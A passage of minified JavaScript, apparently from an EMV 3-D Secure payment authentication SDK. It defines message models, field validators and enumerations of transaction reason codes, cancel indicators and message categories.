MathUtil._validateNumberOrNull=function(a,b,c){var d=new ValidationResult.Filter;if(c===Type.Integer&&b&&-1!==b.toString().indexOf("."))d.fail(a,null,[Property.FORMAT]);else if("number"===typeof b)d.setFilteredValue(b);else if(null===TextUtils.stringify(b))d.setFilteredValue(null);else try{var e=c===Type.Integer?parseInt(b.toString(),10):parseFloat(b.toString());isNaN(e)?d.fail(a,null,[Property.FORMAT]):d.setFilteredValue(e)}catch(f){d.fail(a,null,[Property.FORMAT])}return d};
APIResponse.prototype=NDObject.create(HTTPLimitedTimingData.prototype);APIResponse.prototype.getFieldMetadata=function(){return APIResponse.FieldMetadata};APIResponse.prototype.getRequestJson=function(){return this.requestJson};APIResponse.prototype.setRequestJson=function(a){this.requestJson=a};APIResponse.prototype.getResponseJson=function(){return this.responseJson};APIResponse.prototype.setResponseJson=function(a){this.responseJson=a};APIResponse.FieldMetadata={};
for(key in HTTPLimitedTimingData.FieldMetadata)HTTPLimitedTimingData.FieldMetadata.hasOwnProperty(key)&&(APIResponse.FieldMetadata[key]=HTTPLimitedTimingData.FieldMetadata[key]);
APIResponse.FieldMetadata.requestJson=(new FieldMetadata).setValueRetriever(function(a){return a instanceof APIResponse?a.getRequestJson():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof APIResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setRequestJson(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?a:null}).setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,
1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
APIResponse.FieldMetadata.responseJson=(new FieldMetadata).setValueRetriever(function(a){return a instanceof APIResponse?a.getResponseJson():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof APIResponse&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setResponseJson(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?a:null}).setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MIN_LENGTH,
1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());Base64URL.prototype=NDObject.create(CustomConvertible.prototype);Base64URL.prototype.getBase64Url=function(){return this.getValue()};Base64URL.prototype.setBase64Url=function(a){this.setRawValue(a)};Base64URL.prototype.validate=function(){return new ValidationResult};
Base64URL.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(TextUtils.stringify(a))};Base64URL.prototype.getAllowedProperties=function(){return StringValidator.ALLOWED_PROPERTIES};BooleanYesNo.prototype=NDObject.create(Enumerable.prototype);BooleanYesNo.VALUES={};BooleanYesNo.fromString=function(a){if("undefined"===typeof BooleanYesNo.VALUES[a])throw new IllegalArgumentException("value is not a valid BooleanYesNo value.");return BooleanYesNo.VALUES[a]};
BooleanYesNo.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof BooleanYesNo.VALUES[a]?new BooleanYesNo(TextUtils.stringify(a),!1):BooleanYesNo.VALUES[a]};BooleanYesNo.YES=new BooleanYesNo("Y",!0);BooleanYesNo.NO=new BooleanYesNo("N",!0);NumericEnumerable.prototype=NDObject.create(Enumerable.prototype);NumericEnumerable.prototype.getValue=function(){return parseInt(this.toString(),10)};
NumericEnumerable.validateNumeric=function(a,b){return a&&null!==ObjectUtils.normalize(b)&&MathUtil.validateIntegerOrNull(null,b).isSuccess()};Challenge.prototype=NDObject.create(Convertible.prototype);Challenge.prototype.getFieldMetadata=function(){return Challenge.FieldMetadata};Challenge.prototype.getThreeDSServerTransID=function(){return this.threeDSServerTransID};Challenge.prototype.setThreeDSServerTransID=function(a){this.threeDSServerTransID=a};Challenge.prototype.getAcsTransID=function(){return this.acsTransID};
Challenge.prototype.setAcsTransID=function(a){this.acsTransID=a};Challenge.prototype.getMessageType=function(){return this.messageType};function ValidationDelegate(){}Challenge.prototype.setMessageType=function(a){this.messageType=a};Challenge.prototype.getMessageVersion=function(){return this.messageVersion};Challenge.prototype.setMessageVersion=function(a){this.messageVersion=a};Challenge.fromJson=function(a){var b=new Challenge;JsonSerializer.readJsonIntoInstance(b,a);return b};
Challenge.fromMap=function(a){var b=new Challenge;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};Challenge.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(Challenge.FieldMetadata[key]=Convertible.FieldMetadata[key]);
Challenge.FieldMetadata.threeDSServerTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof Challenge?a.getThreeDSServerTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof Challenge&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setThreeDSServerTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,
!1).build());
Challenge.FieldMetadata.acsTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof Challenge?a.getAcsTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof Challenge&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setAcsTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build());
Challenge.FieldMetadata.messageType=(new FieldMetadata).setValueRetriever(function(a){return a instanceof Challenge?a.getMessageType():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof Challenge&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MsgType,"MsgType")&&(a.setMessageType(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MsgType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.MsgType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,
!1).build());
Challenge.FieldMetadata.messageVersion=(new FieldMetadata).setValueRetriever(function(a){return a instanceof Challenge?a.getMessageVersion():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof Challenge&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MessageVersionType,"MessageVersionType")&&(a.setMessageVersion(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MessageVersionType.fromObject(a)}).enableSerialization().setFieldType(Init.Type.MessageVersionType).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build());
ImageSizes.prototype=NDObject.create(Convertible.prototype);function InvalidValueException(a){BaseException.call(this,a)}ImageSizes.prototype.getFieldMetadata=function(){return ImageSizes.FieldMetadata};ImageSizes.prototype.getMedium=function(){return this.medium};ImageSizes.prototype.setMedium=function(a){this.medium=a};ImageSizes.prototype.getHigh=function(){return this.high};ImageSizes.prototype.setHigh=function(a){this.high=a};ImageSizes.prototype.getExtraHigh=function(){return this.extraHigh};
ImageSizes.prototype.setExtraHigh=function(a){this.extraHigh=a};ImageSizes.fromJson=function(a){var b=new ImageSizes;JsonSerializer.readJsonIntoInstance(b,a);return b};ImageSizes.fromMap=function(a){var b=new ImageSizes;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};ImageSizes.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(ImageSizes.FieldMetadata[key]=Convertible.FieldMetadata[key]);
ImageSizes.FieldMetadata.medium=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ImageSizes?a.getMedium():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ImageSizes&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,URL,"URL")&&(a.setMedium(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new URL;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.URL).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ImageSizes.FieldMetadata.high=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ImageSizes?a.getHigh():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ImageSizes&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,URL,"URL")&&(a.setHigh(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new URL;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.URL).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
function EMVProtocolErrorEvent(){Convertible.call(this);this.sDKTransactionID=this.errorMessage=null;Interface.implement(this,ISyncable)}
ImageSizes.FieldMetadata.extraHigh=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ImageSizes?a.getExtraHigh():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ImageSizes&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,URL,"URL")&&(a.setExtraHigh(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new URL;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.URL).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
TransactionReason.prototype=NDObject.create(Enumerable.prototype);TransactionReason.VALUES={};TransactionReason.fromString=function(a){if("undefined"===typeof TransactionReason.VALUES[a])throw new IllegalArgumentException("value is not a valid TransactionReason value.");return TransactionReason.VALUES[a]};TransactionReason.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof TransactionReason.VALUES[a]?new TransactionReason(TextUtils.stringify(a),!1):TransactionReason.VALUES[a]};
function Enumerable(a,b,c){if("undefined"!==typeof b[a])throw new InvalidValueException(a+" is already defined");this.mValue=a;this.mIsValid=c;this.mHash=0;Interface.implement(this,IValidatable)}TransactionReason.CARD_AUTHENTICATION_FAILED=new TransactionReason("01",!0);TransactionReason.UNKNOWN_DEVICE=new TransactionReason("02",!0);TransactionReason.UNSUPPORTED_DEVICE=new TransactionReason("03",!0);TransactionReason.EXCEEDS_AUTHENTICATION_FREQUENCY_LIMIT=new TransactionReason("04",!0);
TransactionReason.EXPIRED_CARD=new TransactionReason("05",!0);TransactionReason.INVALID_CARD_NUMBER=new TransactionReason("06",!0);TransactionReason.INVALID_TRANSACTION=new TransactionReason("07",!0);function SetterResult(){}TransactionReason.NO_CARD_RECORD=new TransactionReason("08",!0);TransactionReason.SECURITY_FAILURE=new TransactionReason("09",!0);TransactionReason.STOLEN_CARD=new TransactionReason("10",!0);TransactionReason.SUSPECTED_FRAUD=new TransactionReason("11",!0);
TransactionReason.TRANSACTION_NOT_PERMITTED_TO_CARDHOLDER=new TransactionReason("12",!0);TransactionReason.CARDHOLDER_NOT_ENROLLED_IN_SERVICE=new TransactionReason("13",!0);TransactionReason.TRANSACTION_TIMEOUT_AT_ACS=new TransactionReason("14",!0);TransactionReason.LOW_CONFIDENCE=new TransactionReason("15",!0);TransactionReason.MEDIUM_CONFIDENCE=new TransactionReason("16",!0);TransactionReason.HIGH_CONFIDENCE=new TransactionReason("17",!0);
function EMVErrorMessage(){Convertible.call(this);this.transactionID=this.errorDetails=this.errorDescription=this.errorCode=null;Interface.implement(this,ISyncable)}TransactionReason.VERY_HIGH_CONFIDENCE=new TransactionReason("18",!0);TransactionReason.EXCEEDS_ACS_MAXIUM_CHALLENGES=new TransactionReason("19",!0);function INonStringable(){}
function ChallengeOutcome(){Challenge.call(this);this.whyInfoText=this.whyInfoLabel=this.whitelistingInfoText=this.transStatus=this.submitAuthenticationLabel=this.sdkTransID=this.resendInformationLabel=this.psImage=this.oobContinueLabel=this.oobAppLabel=this.oobAppURL=this.messageExtension=this.issuerImage=this.expandInfoText=this.expandInfoLabel=this.challengeSelectInfo=this.challengeInfoTextIndicator=this.challengeInfoText=this.challengeInfoLabel=this.challengeInfoHeader=this.challengeCompletionInd=
this.challengeAddInfo=this.acsUiType=this.acsHTML=this.acsCounterAtoS=null;Interface.implement(this,ISyncable)}TransactionReason.NON_PAYMENT_TRANSACTION_NOT_SUPPORTED=new TransactionReason("20",!0);TransactionReason.THREE_RI_TRANSACTION_NOT_SUPPORTED=new TransactionReason("21",!0);TransactionReason.ACS_TECHNICAL_ISSUE=new TransactionReason("22",!0);TransactionReason.DECOUPLED_AUTHENTICATION_NOT_BY3_DS_REQUESTOR=new TransactionReason("23",!0);
TransactionReason.DECOUPLED_MAX_EXPIRY_TIME_EXCEEDED=new TransactionReason("24",!0);TransactionReason.DECOUPLED_AUTHENTICATION_INSUFFICIENT_TIME=new TransactionReason("25",!0);TransactionReason.AUTHENTICATION_NOT_PERFORMED=new TransactionReason("26",!0);TransactionReason.SUPPRESSED_BY_POLICY=new TransactionReason("ND-S-POL",!0);TransactionReason.SUPPRESSED_MANUALLY=new TransactionReason("ND-S-MAN",!0);TransactionReason.RESERVED80=new TransactionReason("80",!0);
TransactionReason.RESERVED81=new TransactionReason("81",!0);TransactionReason.RESERVED82=new TransactionReason("82",!0);TransactionReason.RESERVED83=new TransactionReason("83",!0);TransactionReason.RESERVED84=new TransactionReason("84",!0);TransactionReason.RESERVED85=new TransactionReason("85",!0);TransactionReason.RESERVED86=new TransactionReason("86",!0);TransactionReason.RESERVED87=new TransactionReason("87",!0);TransactionReason.RESERVED88=new TransactionReason("88",!0);
TransactionReason.RESERVED89=new TransactionReason("89",!0);TransactionReason.RESERVED90=new TransactionReason("90",!0);TransactionReason.RESERVED91=new TransactionReason("91",!0);TransactionReason.RESERVED92=new TransactionReason("92",!0);TransactionReason.RESERVED93=new TransactionReason("93",!0);TransactionReason.RESERVED94=new TransactionReason("94",!0);TransactionReason.RESERVED95=new TransactionReason("95",!0);TransactionReason.RESERVED96=new TransactionReason("96",!0);
function WidgetBrowserData(){Convertible.call(this);this.challengeWindowSize=this.browserUserAgent=this.browserTZ=this.browserScreenWidth=this.browserScreenHeight=this.browserColorDepth=this.browserLanguage=this.browserJavascriptEnabled=this.browserJavaEnabled=null;Interface.implement(this,ISyncable)}TransactionReason.RESERVED97=new TransactionReason("97",!0);TransactionReason.RESERVED98=new TransactionReason("98",!0);TransactionReason.RESERVED99=new TransactionReason("99",!0);Base64.prototype=NDObject.create(CustomConvertible.prototype);
Base64.prototype.getBase64=function(){return this.getValue()};Base64.prototype.setBase64=function(a){this.setRawValue(a)};Base64.prototype.validate=function(){return new ValidationResult};Base64.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(TextUtils.stringify(a))};Base64.prototype.getAllowedProperties=function(){return StringValidator.ALLOWED_PROPERTIES};
Validator.prototype.validate=function(a){a=a||null;var b=new ValidationResult;this._checkForMalformedFields(b,this.mMetadataProvider);var c=this.mMetadataProvider.getFieldMetadata(),d;for(d in c){var e=c[d],f=e.getValue(this.mMetadataProvider);this._applyValidators(b,MetadataUtils.getFieldPath(e,a,d),f,e,FieldMetadata.ValidatorContext.THIS)}return b};function MessageCategoryType(a,b){Enumerable.call(this,a,MessageCategoryType.VALUES,b);b&&(MessageCategoryType.VALUES[a]=this)}
Validator.prototype.validateChild=function(a,b,c){var d=new ValidationResult;null!==b&&this._applyValidators(d,a,c,b,FieldMetadata.ValidatorContext.T);return d};
Validator.prototype._applyValidators=function(a,b,c,d,e){var f={},g=d.getValidatorMetadata(),k;for(k in g){var h=g[k],m=h.getDelegate(),l=h.getProperties();-1!==h.getContexts().indexOf(FieldMetadata.ValidatorContext.T.toString())&&(f=ObjectUtils.mergeObjects([f,l]));-1!==h.getContexts().indexOf(e.toString())&&(h=this._buildValidatorInstance(m,e,b,d),a.failWithMetadataIf(h.validate(l,b,c),d))}e===FieldMetadata.ValidatorContext.T&&a.failIf(this._selfValidateField(f,b,c))};
Validator.prototype._buildValidatorInstance=function(a,b,c,d){switch(a){case FieldMetadata.ValidationDelegate.OBJECT:c=b===FieldMetadata.ValidatorContext.THIS?new ObjectContainerValidator(c,d,this):new ObjectValidator(c);break;case FieldMetadata.ValidationDelegate.ARRAY:c=b===FieldMetadata.ValidatorContext.THIS?new ArrayContainerValidator(c,d,this):null;break;case FieldMetadata.ValidationDelegate.MAP:c=b===FieldMetadata.ValidatorContext.THIS?new MapContainerValidator(c,d,this):null;break;case FieldMetadata.ValidationDelegate.DOUBLE:c=
new DoubleValidator(c);break;case FieldMetadata.ValidationDelegate.INT:c=new IntValidator(c);break;case FieldMetadata.ValidationDelegate.STRING:c=new StringValidator(c);break;default:c=null}if(null==c)throw Error("Invalid delegate for "+b+" context: "+a);return c};Validator.prototype._selfValidateField=function(a,b,c){var d=new ValidationResult;Interface.isInstanceOf(c,IValidatable)&&d.failIf(c.validate(b,a));return d};
Validator.prototype._checkForMalformedFields=function(a,b){var c=b.getMalformedFields(null),d;for(d in c)a.failWithMetadata(d,c[d],[Property.FORMAT])};ErrorComponent.prototype=NDObject.create(Enumerable.prototype);ErrorComponent.VALUES={};ErrorComponent.fromString=function(a){if("undefined"===typeof ErrorComponent.VALUES[a])throw new IllegalArgumentException("value is not a valid ErrorComponent value.");return ErrorComponent.VALUES[a]};
ErrorComponent.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof ErrorComponent.VALUES[a]?new ErrorComponent(TextUtils.stringify(a),!1):ErrorComponent.VALUES[a]};ErrorComponent.THREEDS_SDK=new ErrorComponent("C",!0);ErrorComponent.THREEDS_SERVER=new ErrorComponent("S",!0);ErrorComponent.DS=new ErrorComponent("D",!0);ErrorComponent.ACS=new ErrorComponent("A",!0);CancelIndicator.prototype=NDObject.create(Enumerable.prototype);CancelIndicator.VALUES={};
CancelIndicator.fromString=function(a){if("undefined"===typeof CancelIndicator.VALUES[a])throw new IllegalArgumentException("value is not a valid CancelIndicator value.");return CancelIndicator.VALUES[a]};CancelIndicator.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof CancelIndicator.VALUES[a]?new CancelIndicator(TextUtils.stringify(a),!1):CancelIndicator.VALUES[a]};CancelIndicator.CARDHOLDER_CANCELLED=new CancelIndicator("01",!0);
CancelIndicator.DECOUPLED_AUTHENTICATION_TRANSACTION_TIMEOUT=new CancelIndicator("03",!0);CancelIndicator.OTHER_ACS_TIMEOUT=new CancelIndicator("04",!0);CancelIndicator.FIRST_C_REQ_ACS_TIMEOUT=new CancelIndicator("05",!0);CancelIndicator.TRANSACTION_ERROR=new CancelIndicator("06",!0);CancelIndicator.UNKNOWN_CANCELLED=new CancelIndicator("07",!0);function Base64URL(a){CustomConvertible.call(this);this.setRawValue(a||null)}CancelIndicator.SDK_TRANSACTION_TIMEOUT=new CancelIndicator("08",!0);
CancelIndicator.RESERVED80=new CancelIndicator("80",!0);CancelIndicator.RESERVED81=new CancelIndicator("81",!0);function IValidatable(){}CancelIndicator.RESERVED82=new CancelIndicator("82",!0);CancelIndicator.RESERVED83=new CancelIndicator("83",!0);
function AuthenticationResponse(){APIResponse.call(this);this.whiteListStatusSource=this.whiteListStatus=this.encodedCReq=this.transStatusReason=this.transStatus=this.messageVersion=this.messageType=this.messageExtension=this.eci=this.dsTransID=this.dsReferenceNumber=this.cardholderInfo=this.broadInfo=this.authenticationValue=this.authenticationType=this.acsURL=this.acsTransID=this.acsSignedContent=this.acsRenderingType=this.acsReferenceNumber=this.acsOperatorID=this.acsDecConInd=this.acsChallengeMandated=
this.threeDSServerTransID=this.sdkTransID=null;Interface.implement(this,ISyncable)}CancelIndicator.RESERVED84=new CancelIndicator("84",!0);CancelIndicator.RESERVED85=new CancelIndicator("85",!0);CancelIndicator.RESERVED86=new CancelIndicator("86",!0);CancelIndicator.RESERVED87=new CancelIndicator("87",!0);CancelIndicator.RESERVED88=new CancelIndicator("88",!0);CancelIndicator.RESERVED89=new CancelIndicator("89",!0);CancelIndicator.RESERVED90=new CancelIndicator("90",!0);
CancelIndicator.RESERVED91=new CancelIndicator("91",!0);CancelIndicator.RESERVED92=new CancelIndicator("92",!0);CancelIndicator.RESERVED93=new CancelIndicator("93",!0);CancelIndicator.RESERVED94=new CancelIndicator("94",!0);CancelIndicator.RESERVED95=new CancelIndicator("95",!0);CancelIndicator.RESERVED96=new CancelIndicator("96",!0);CancelIndicator.RESERVED97=new CancelIndicator("97",!0);CancelIndicator.RESERVED98=new CancelIndicator("98",!0);CancelIndicator.RESERVED99=new CancelIndicator("99",!0);
BrowserColorDepthType.prototype=NDObject.create(Enumerable.prototype);BrowserColorDepthType.VALUES={};BrowserColorDepthType.fromString=function(a){if("undefined"===typeof BrowserColorDepthType.VALUES[a])throw new IllegalArgumentException("value is not a valid BrowserColorDepthType value.");return BrowserColorDepthType.VALUES[a]};
BrowserColorDepthType.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof BrowserColorDepthType.VALUES[a]?new BrowserColorDepthType(TextUtils.stringify(a),!1):BrowserColorDepthType.VALUES[a]};BrowserColorDepthType.CD1_BIT=new BrowserColorDepthType("1",!0);BrowserColorDepthType.CD4_BITS=new BrowserColorDepthType("4",!0);BrowserColorDepthType.CD8_BITS=new BrowserColorDepthType("8",!0);function Property(a){this.value=a}
BrowserColorDepthType.CD15_BITS=new BrowserColorDepthType("15",!0);BrowserColorDepthType.CD16_BITS=new BrowserColorDepthType("16",!0);BrowserColorDepthType.CD24_BITS=new BrowserColorDepthType("24",!0);BrowserColorDepthType.CD32_BITS=new BrowserColorDepthType("32",!0);BrowserColorDepthType.CD48_BITS=new BrowserColorDepthType("48",!0);MessageCategoryType.prototype=NDObject.create(Enumerable.prototype);MessageCategoryType.VALUES={};
function ErrorCode(a,b){NumericEnumerable.call(this,a,ErrorCode.VALUES,b);b&&(ErrorCode.VALUES[a]=this)}MessageCategoryType.fromString=function(a){if("undefined"===typeof MessageCategoryType.VALUES[a])throw new IllegalArgumentException("value is not a valid MessageCategoryType value.");return MessageCategoryType.VALUES[a]};
MessageCategoryType.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof MessageCategoryType.VALUES[a]?new MessageCategoryType(TextUtils.stringify(a),!1):MessageCategoryType.VALUES[a]};function IllegalArgumentException(a){BaseException.call(this,a)}MessageCategoryType.PA=new MessageCategoryType("01",!0);function ObjectContainerValidator(a,b,c,d){BaseContainerValidator.call(this,a,b,c,d||!1)}MessageCategoryType.NPA=new MessageCategoryType("02",!0);
MessageCategoryType.MASTERCARD_MESSAGE=new MessageCategoryType("80",!0);MessageCategoryType.RESERVED81=new MessageCategoryType("81",!0);MessageCategoryType.RESERVED82=new MessageCategoryType("82",!0);MessageCategoryType.RESERVED83=new MessageCategoryType("83",!0);MessageCategoryType.RESERVED84=new MessageCategoryType("84",!0);MessageCategoryType.RESERVED85=new MessageCategoryType("85",!0);MessageCategoryType.RESERVED86=new MessageCategoryType("86",!0);
MessageCategoryType.RESERVED87=new MessageCategoryType("87",!0);MessageCategoryType.RESERVED88=new MessageCategoryType("88",!0);MessageCategoryType.RESERVED89=new MessageCategoryType("89",!0);MessageCategoryType.RESERVED90=new MessageCategoryType("90",!0);MessageCategoryType.RESERVED91=new MessageCategoryType("91",!0);MessageCategoryType.RESERVED92=new MessageCategoryType("92",!0);MessageCategoryType.RESERVED93=new MessageCategoryType("93",!0);
MessageCategoryType.RESERVED94=new MessageCategoryType("94",!0);MessageCategoryType.RESERVED95=new MessageCategoryType("95",!0);MessageCategoryType.RESERVED96=new MessageCategoryType("96",!0);MessageCategoryType.RESERVED97=new MessageCategoryType("97",!0);MessageCategoryType.RESERVED98=new MessageCategoryType("98",!0);MessageCategoryType.RESERVED99=new MessageCategoryType("99",!0);ChallengeOutcome.prototype=NDObject.create(Challenge.prototype);ChallengeOutcome.prototype.getFieldMetadata=function(){return ChallengeOutcome.FieldMetadata};
ChallengeOutcome.prototype.getAcsCounterAtoS=function(){return this.acsCounterAtoS};function ISyncable(){}ChallengeOutcome.prototype.setAcsCounterAtoS=function(a){this.acsCounterAtoS=a};ChallengeOutcome.prototype.getAcsHTML=function(){return this.acsHTML};ChallengeOutcome.prototype.setAcsHTML=function(a){this.acsHTML=a};function BooleanYesNo(a,b){Enumerable.call(this,a,BooleanYesNo.VALUES,b);b&&(BooleanYesNo.VALUES[a]=this)}ChallengeOutcome.prototype.getAcsUiType=function(){return this.acsUiType};
ChallengeOutcome.prototype.setAcsUiType=function(a){this.acsUiType=a};ChallengeOutcome.prototype.getChallengeAddInfo=function(){return this.challengeAddInfo};ChallengeOutcome.prototype.setChallengeAddInfo=function(a){this.challengeAddInfo=a};ChallengeOutcome.prototype.getChallengeCompletionInd=function(){return this.challengeCompletionInd};ChallengeOutcome.prototype.setChallengeCompletionInd=function(a){this.challengeCompletionInd=a};ChallengeOutcome.prototype.getChallengeInfoHeader=function(){return this.challengeInfoHeader};
ChallengeOutcome.prototype.setChallengeInfoHeader=function(a){this.challengeInfoHeader=a};function URL(a){CustomConvertible.call(this);this.setRawValue(a);this.mAuthInfo=null}ChallengeOutcome.prototype.getChallengeInfoLabel=function(){return this.challengeInfoLabel};ChallengeOutcome.prototype.setChallengeInfoLabel=function(a){this.challengeInfoLabel=a};ChallengeOutcome.prototype.getChallengeInfoText=function(){return this.challengeInfoText};
ChallengeOutcome.prototype.setChallengeInfoText=function(a){this.challengeInfoText=a};ChallengeOutcome.prototype.getChallengeInfoTextIndicator=function(){return this.challengeInfoTextIndicator};ChallengeOutcome.prototype.setChallengeInfoTextIndicator=function(a){this.challengeInfoTextIndicator=a};ChallengeOutcome.prototype.getChallengeSelectInfo=function(){null===ObjectUtils.normalize(this.challengeSelectInfo)&&(this.challengeSelectInfo=[]);return this.challengeSelectInfo};
ChallengeOutcome.prototype.setChallengeSelectInfo=function(a){this.challengeSelectInfo=a};function EMVCompletionEvent(){Convertible.call(this);this.transactionStatus=this.sdkTransactionID=null;Interface.implement(this,ISyncable)}ChallengeOutcome.prototype.addChallengeSelectInfo=function(a){this.getChallengeSelectInfo().push(a)};ChallengeOutcome.prototype.getExpandInfoLabel=function(){return this.expandInfoLabel};ChallengeOutcome.prototype.setExpandInfoLabel=function(a){this.expandInfoLabel=a};
ChallengeOutcome.prototype.getExpandInfoText=function(){return this.expandInfoText};ChallengeOutcome.prototype.setExpandInfoText=function(a){this.expandInfoText=a};ChallengeOutcome.prototype.getIssuerImage=function(){return this.issuerImage};ChallengeOutcome.prototype.setIssuerImage=function(a){this.issuerImage=a};ChallengeOutcome.prototype.getMessageExtension=function(){null===ObjectUtils.normalize(this.messageExtension)&&(this.messageExtension=[]);return this.messageExtension};
function BaseException(a,b){this.cause=b||null;this.message=a;GlobalError.hasOwnProperty("captureStackTrace")?GlobalError.captureStackTrace(this,this.constructor):this.stack=(new GlobalError).stack}ChallengeOutcome.prototype.setMessageExtension=function(a){this.messageExtension=a};ChallengeOutcome.prototype.addMessageExtension=function(a){this.getMessageExtension().push(a)};ChallengeOutcome.prototype.getOobAppURL=function(){return this.oobAppURL};
ChallengeOutcome.prototype.setOobAppURL=function(a){this.oobAppURL=a};ChallengeOutcome.prototype.getOobAppLabel=function(){return this.oobAppLabel};ChallengeOutcome.prototype.setOobAppLabel=function(a){this.oobAppLabel=a};ChallengeOutcome.prototype.getOobContinueLabel=function(){return this.oobContinueLabel};ChallengeOutcome.prototype.setOobContinueLabel=function(a){this.oobContinueLabel=a};ChallengeOutcome.prototype.getPsImage=function(){return this.psImage};
